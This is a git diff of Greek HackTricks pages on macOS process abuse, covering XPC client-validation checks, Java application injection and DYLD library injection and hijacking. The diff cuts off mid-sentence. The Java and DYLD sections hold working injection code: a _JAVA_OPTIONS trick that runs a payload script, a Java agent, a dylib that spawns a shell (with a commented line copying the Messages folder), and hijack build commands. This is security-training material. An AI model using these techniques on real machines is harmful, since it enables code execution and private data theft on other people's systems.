-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Έλεγχος Σύνδεσης Διεργασίας XPC +## XPC Connecting Process Check -Όταν γίνεται μια σύνδεση σε ένα XPC service, ο διακομιστής θα ελέγξει αν η σύνδεση επιτρέπεται. Αυτοί είναι οι έλεγχοι που συνήθως πραγματοποιούνται: +Όταν μια σύνδεση δημιουργείται σε μια υπηρεσία XPC, ο διακομιστής θα ελέγξει αν η σύνδεση επιτρέπεται. Αυτοί είναι οι έλεγχοι που θα εκτελέσει συνήθως: -1. Έλεγχος αν η συνδεόμενη **διεργασία έχει υπογραφεί με ένα Apple-signed πιστοποιητικό** (που δίνεται μόνο από την Apple). -* Εάν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάξει με οποιονδήποτε άλλο έλεγχο. -2. Έλεγχος αν η συνδεόμενη διεργασία έχει υπογραφεί με το **πιστοποιητικό του οργανισμού** (έλεγχος ταυτότητας του ομάδας). -* Εάν αυτό **δεν επαληθευτεί**, μπορεί να χρησιμοποιηθεί οποιοδήποτε πιστοποιητικό ανάπτυξης από την Apple για την υπογραφή και τη σύνδεση με την υπηρεσία. -3. Έλεγχος αν η συνδεόμενη διεργασία **περιέχει έναν κατάλληλο αναγνωριστικό πακέτου**. -* Εάν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **που έχει υπογραφεί από τον ίδιο οργανισμό** μπορεί να χρησιμοποιηθεί για την αλληλεπίδραση με την XPC υπηρεσία. -4. (4 ή 5) Έλεγχος αν η συνδεόμενη διεργασία έχει έναν **κατάλληλο αριθμό έκδοσης λογισμικού**. -* Εάν αυτό **δεν επαληθευτεί**, μπορεί να χρησιμοποιηθεί μια παλιά, ευάλωτη πελάτης που είναι ευάλωτη στην ενέργεια εισαγωγής διεργασίας για να συνδεθεί με την XPC υπηρεσία, ακόμα και με τους άλλους ελέγχους που έχουν γίνει. -5. (4 ή 5) Έλεγχος αν η συνδεόμενη διεργασία έχει ενεργοποιημένο το hardened runtime χωρίς επικίνδυνα entitlements (όπως αυτά που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD) -1. Εάν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε εισαγωγή κώδικα** -6. Έλεγχος αν η συνδεόμενη διεργασία έχει ένα **entitlement** που της επιτρέπει να συνδεθεί στην υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple. -7. Η **επαλήθευση** πρέπει να γίνεται **βάσει** του **αναγνωριστικού ελέγχου του πελάτη** αντί για το αναγνωριστικό διεργασίας (**PID**), καθώς το πρώτο αποτρέπει τις επιθέσεις επαναχρησιμοποίησης του PID. -* Οι προγραμματιστές **σπάνια χρησιμοποιούν την κλήση API του αναγνωριστικού ελέγχου** καθώς είναι **ιδιωτική**, οπότε η Apple μπορεί να την **αλλάξει** ανά πάσα στιγμή. Επιπλέον, η χρήση ιδιωτικής API δεν επιτρέπεται σε εφαρμογές του Mac App Store. -* Εάν χρησιμοποιηθεί η μέθοδος **`processIdentifier`**, μπορεί να είναι ευάλωτη -* Πρέπει να χρησιμοποιηθεί η μέθοδος **`xpc_dictionary_get_audit_token`** αντί της **`xpc_connection_get_audit_token`**, καθώς η τελευταία μπορεί επίσης να είναι [ευάλωτη σε συγκεκριμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. Έλεγχος αν η **διαδικασία που συνδέεται είναι υπογεγραμμένη με πιστοποιητικό υπογεγραμμένο από την Apple** (δίδεται μόνο από την Apple). +* Αν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάζει με οποιονδήποτε άλλο έλεγχο. +2. Έλεγχος αν η διαδικασία που συνδέεται είναι υπογεγραμμένη με το **πιστοποιητικό της οργάνωσης**, (έλεγχος ταυτότητας ομάδας). +* Αν αυτό **δεν επαληθευτεί**, **οποιοδήποτε πιστοποιητικό προγραμματιστή** από την Apple μπορεί να χρησιμοποιηθεί για υπογραφή και σύνδεση με την υπηρεσία. +3. Έλεγχος αν η διαδικασία που συνδέεται **περιέχει ένα σωστό bundle ID**. +* Αν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **υπογεγραμμένο από την ίδια οργάνωση** θα μπορούσε να χρησιμοποιηθεί για αλληλεπίδραση με την υπηρεσία XPC. +4. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει έναν **σωστό αριθμό έκδοσης λογισμικού**. +* Αν αυτό **δεν επαληθευτεί**, ένας παλιός, ανασφαλής πελάτης, ευάλωτος σε ένεση διαδικασίας θα μπορούσε να χρησιμοποιηθεί για σύνδεση με την υπηρεσία XPC ακόμη και με τους άλλους ελέγχους σε εφαρμογή. +5. (4 ή 5) Έλεγχος αν η διαδικασία που συνδέεται έχει σκληρυμένο χρόνο εκτέλεσης χωρίς επικίνδυνες εξουσιοδοτήσεις (όπως αυτές που επιτρέπουν τη φόρτωση αυθαίρετων βιβλιοθηκών ή τη χρήση μεταβλητών περιβάλλοντος DYLD) +1. Αν αυτό **δεν επαληθευτεί**, ο πελάτης μπορεί να είναι **ευάλωτος σε ένεση κώδικα** +6. Έλεγχος αν η διαδικασία που συνδέεται έχει μια **εξουσιοδότηση** που της επιτρέπει να συνδεθεί με την υπηρεσία. Αυτό ισχύει για τα δυαδικά αρχεία της Apple. +7. Η **επικύρωση** πρέπει να είναι **βασισμένη** στο **token ελέγχου του πελάτη** **αντί** για το ID διαδικασίας του (**PID**) καθώς το πρώτο αποτρέπει τις **επιθέσεις επαναχρησιμοποίησης PID**. +* Οι προγραμματιστές **σπάνια χρησιμοποιούν την κλήση API token ελέγχου** καθώς είναι **ιδιωτική**, οπότε η Apple θα μπορούσε να **αλλάξει** οποιαδήποτε στιγμή. Επιπλέον, η χρήση ιδιωτικών API δεν επιτρέπεται σε εφαρμογές του Mac App Store. +* Αν η μέθοδος **`processIdentifier`** χρησιμοποιηθεί, μπορεί να είναι ευάλωτη +* **`xpc_dictionary_get_audit_token`** θα πρέπει να χρησιμοποιείται αντί για **`xpc_connection_get_audit_token`**, καθώς η τελευταία θα μπορούσε επίσης να είναι [ευάλωτη σε ορισμένες καταστάσεις](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### Επιθέσεις Επικοινωνίας +### Communication Attacks -Για περισσότερες πληροφορίες σχετικά με την επίθεση επαναχρησιμοποίησης του PID, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με την επίθεση επαναχρησιμοποίησης PID ελέγξτε: {% content-ref url="macos-pid-reuse.md" %} [macos-pid-reuse.md](macos-pid-reuse.md) {% endcontent-ref %} -Για περισσότερες πληροφορ +Για περισσότερες πληροφορίες σχετικά με την επίθεση **`xpc_connection_get_audit_token`** ελέγξτε: + +{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %} +[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) +{% endcontent-ref %} + +### Trustcache - Downgrade Attacks Prevention + +Το Trustcache είναι μια αμυντική μέθοδος που εισήχθη σε μηχανές Apple Silicon που αποθηκεύει μια βάση δεδομένων CDHSAH των δυαδικών αρχείων της Apple, ώστε μόνο οι επιτρεπόμενοι μη τροποποιημένοι δυαδικοί κώδικες να μπορούν να εκτελούνται. Αυτό αποτρέπει την εκτέλεση υποβαθμισμένων εκδόσεων. + +### Code Examples + +Ο διακομιστής θα υλοποιήσει αυτή την **επικύρωση** σε μια συνάρτηση που ονομάζεται **`shouldAcceptNewConnection`**. + +{% code overflow="wrap" %} ```objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { //Check connection @@ -51,9 +66,9 @@ return YES; ``` {% endcode %} -Το αντικείμενο NSXPCConnection έχει μια **ιδιωτική** ιδιότητα **`auditToken`** (αυτή που πρέπει να χρησιμοποιηθεί αλλά μπορεί να αλλάξει) και μια **δημόσια** ιδιότητα **`processIdentifier`** (αυτή που δεν πρέπει να χρησιμοποιηθεί). +Το αντικείμενο NSXPCConnection έχει μια **ιδιωτική** ιδιότητα **`auditToken`** (αυτή που θα έπρεπε να χρησιμοποιείται αλλά μπορεί να αλλάξει) και μια **δημόσια** ιδιότητα **`processIdentifier`** (αυτή που δεν θα έπρεπε να χρησιμοποιείται). -Η διαδικασία σύνδεσης μπορεί να επαληθευτεί με κάτι όπως: +Η διαδικασία σύνδεσης θα μπορούσε να επαληθευτεί με κάτι σαν: {% code overflow="wrap" %} ```objectivec @@ -77,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -Αν ένας προγραμματιστής δεν θέλει να ελέγξει την έκδοση του πελάτη, μπορεί τουλάχιστον να ελέγξει ότι ο πελάτης δεν είναι ευάλωτος στην ενέργεια εισαγωγής διεργασίας: +Αν ένας προγραμματιστής δεν θέλει να ελέγξει την έκδοση του πελάτη, θα μπορούσε τουλάχιστον να ελέγξει ότι ο πελάτης δεν είναι ευάλωτος σε διαδικαστική έγχυση: {% code overflow="wrap" %} ```objectivec @@ -96,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Υποστήριξη HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! +* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index dd2f0939c..3b1e9df47 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# Εισαγωγή σε εφαρμογές Java στο macOS +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Απαρίθμηση +## Enumeration -Βρείτε εγκατεστημένες εφαρμογές Java στο σύστημά σας. Παρατηρήθηκε ότι οι εφαρμογές Java στο **Info.plist** θα περιέχουν ορισμένες παραμέτρους Java που περιέχουν τον χαρακτήρα **`java.`**, οπότε μπορείτε να αναζητήσετε γι' αυτόν: +Βρείτε τις εφαρμογές Java που είναι εγκατεστημένες στο σύστημά σας. Παρατηρήθηκε ότι οι εφαρμογές Java στο **Info.plist** θα περιέχουν κάποιες παραμέτρους java που περιέχουν τη συμβολοσειρά **`java.`**, οπότε μπορείτε να αναζητήσετε αυτό: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -Η μεταβλητή περιβάλλοντος **`_JAVA_OPTIONS`** μπορεί να χρησιμοποιηθεί για να εισαχθούν αυθαίρετες παράμετροι Java κατά την εκτέλεση μιας εφαρμογής που έχει μεταγλωττιστεί σε Java: +Η μεταβλητή περιβάλλοντος **`_JAVA_OPTIONS`** μπορεί να χρησιμοποιηθεί για την εισαγωγή αυθαίρετων παραμέτρων java στην εκτέλεση μιας εφαρμογής που έχει μεταγλωττιστεί σε java: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -Για να το εκτελέσετε ως ένα νέο διεργασία και όχι ως παιδί του τρέχοντος τερματικού, μπορείτε να χρησιμοποιήσετε: +Για να το εκτελέσετε ως νέα διαδικασία και όχι ως παιδί του τρέχοντος τερματικού, μπορείτε να χρησιμοποιήσετε: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Ωστόσο, αυτό θα προκαλέσει ένα σφάλμα στην εκτελούμενη εφαρμογή. Ένας πιο αόρατος τρόπος είναι να δημιουργήσετε έναν Java agent και να χρησιμοποιήσετε: +Ωστόσο, αυτό θα προκαλέσει ένα σφάλμα στην εκτελούμενη εφαρμογή, ένας άλλος πιο διακριτικός τρόπος είναι να δημιουργήσετε έναν java agent και να χρησιμοποιήσετε: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -Η δημιουργία του πράκτορα με μια **διαφορετική έκδοση της Java** από την εφαρμογή μπορεί να προκαλέσει την κατάρρευση της εκτέλεσης τόσο του πράκτορα όσο και της εφαρμογής. +Η δημιουργία του πράκτορα με **διαφορετική έκδοση Java** από την εφαρμογή μπορεί να προκαλέσει κατάρρευση της εκτέλεσης τόσο του πράκτορα όσο και της εφαρμογής {% endhint %} Όπου ο πράκτορας μπορεί να είναι: @@ -119,19 +120,19 @@ err.printStackTrace(); ``` {% endcode %} -Για να συντάξετε τον πράκτορα, εκτελέστε: +Για να μεταγλωττίσετε τον πράκτορα, εκτελέστε: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar ``` -Με το `manifest.txt`: +Με `manifest.txt`: ``` Premain-Class: Agent Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -Και στη συνέχεια εξαγάγετε τη μεταβλητή περιβάλλοντος και εκτελέστε την εφαρμογή Java ως εξής: +Και στη συνέχεια εξάγετε τη μεταβλητή env και εκτελέστε την εφαρμογή java όπως: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` -## Αρχείο vmoptions +## vmoptions file -Αυτό το αρχείο υποστηρίζει την καθορισμό των **παραμέτρων Java** κατά την εκτέλεση της Java. Μπορείτε να χρησιμοποιήσετε μερικά από τα προηγούμενα κόλπα για να αλλάξετε τις παραμέτρους Java και να **κάνετε τη διεργασία να εκτελέσει αυθαίρετες εντολές**.\ -Επιπλέον, αυτό το αρχείο μπορεί να **περιλαμβάνει άλλα αρχεία** με τον κατάλογο `include`, οπότε μπορείτε επίσης να αλλάξετε ένα περιλαμβανόμενο αρχείο. +Αυτό το αρχείο υποστηρίζει την καθορισμένη **Java params** όταν εκτελείται η Java. Μπορείτε να χρησιμοποιήσετε μερικά από τα προηγούμενα κόλπα για να αλλάξετε τις παραμέτρους java και **να κάνετε τη διαδικασία να εκτελεί αυθαίρετες εντολές**.\ +Επιπλέον, αυτό το αρχείο μπορεί επίσης να **περιλαμβάνει άλλα** με τον κατάλογο `include`, οπότε μπορείτε επίσης να αλλάξετε ένα περιλαμβανόμενο αρχείο. -Επιπλέον, ορισμένες εφαρμογές Java θα **φορτώσουν περισσότερα από ένα αρχεία `vmoptions`**. +Ακόμα περισσότερο, ορισμένες εφαρμογές Java θα **φορτώσουν περισσότερα από ένα `vmoptions`** αρχείο. -Ορισμένες εφαρμογές όπως το Android Studio δείχνουν στην **έξοδό τους πού ψάχνουν** για αυτά τα αρχεία, όπως: +Ορισμένες εφαρμογές όπως το Android Studio υποδεικνύουν στην **έξοδό τους πού ψάχνουν** για αυτά τα αρχεία, όπως: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -Εάν δεν το κάνουν, μπορείτε εύκολα να το ελέγξετε με: +Αν δεν το κάνουν, μπορείτε εύκολα να το ελέγξετε με: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -Παρατηρήστε πόσο ενδιαφέρον είναι ότι το Android Studio σε αυτό το παράδειγμα προσπαθεί να φορτώσει το αρχείο **`/Applications/Android Studio.app.vmoptions`**, ένα μέρος όπου οποιοσδήποτε χρήστης από την ομάδα **`admin` έχει δικαιώματα εγγραφής**. - -
- -Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! - -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. - -
+Σημειώστε πόσο ενδιαφέρον είναι ότι το Android Studio σε αυτό το παράδειγμα προσπαθεί να φορτώσει το αρχείο **`/Applications/Android Studio.app.vmoptions`**, ένα μέρος όπου οποιοσδήποτε χρήστης από την **`admin` ομάδα έχει δικαίωμα εγγραφής.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index c24dbe1a1..90a3396dd 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ -# macOS Διασπορά Dyld & DYLD\_INSERT\_LIBRARIES +# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: - -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! -* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Βασικό παράδειγμα DYLD\_INSERT\_LIBRARIES +## DYLD\_INSERT\_LIBRARIES Βασικό παράδειγμα -**Βιβλιοθήκη για ενσωμάτωση** για την εκτέλεση ενός κέλυφους: +**Βιβλιοθήκη προς έγχυση** για την εκτέλεση ενός shell: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -Δυαδικός κώδικας για επίθεση: +Δυαδικό προς επίθεση: ```c // gcc hello.c -o hello #include @@ -45,13 +46,13 @@ printf("Hello, World!\n"); return 0; } ``` -Έγχυση: +Εισαγωγή: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` -## Παράδειγμα Dyld Hijacking +## Dyld Hijacking Example -Το ευάλωτο δυαδικό αρχείο που επιθυμούμε να εκμεταλλευτούμε είναι το `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} {% tab title="entitlements" %} @@ -91,7 +92,7 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι **δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών** και προσπαθεί να φορτώσει μια βιβλιοθήκη από: +Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι **δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών** και **προσπαθεί να φορτώσει μια βιβλιοθήκη από**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Έτσι, είναι δυνατόν να το αποκτήσουμε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με την νόμιμη βιβλιοθήκη, επανεξάγοντάς την. Και θυμηθείτε να την μεταγλωτίσετε με τις αναμενόμενες εκδόσεις: +Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που **εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες** με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις: {% code title="lib.m" %} ```objectivec @@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -Το μεταγλωττίζουμε: +Συγκεντρώστε το: {% code overflow="wrap" %} ```bash @@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -Η 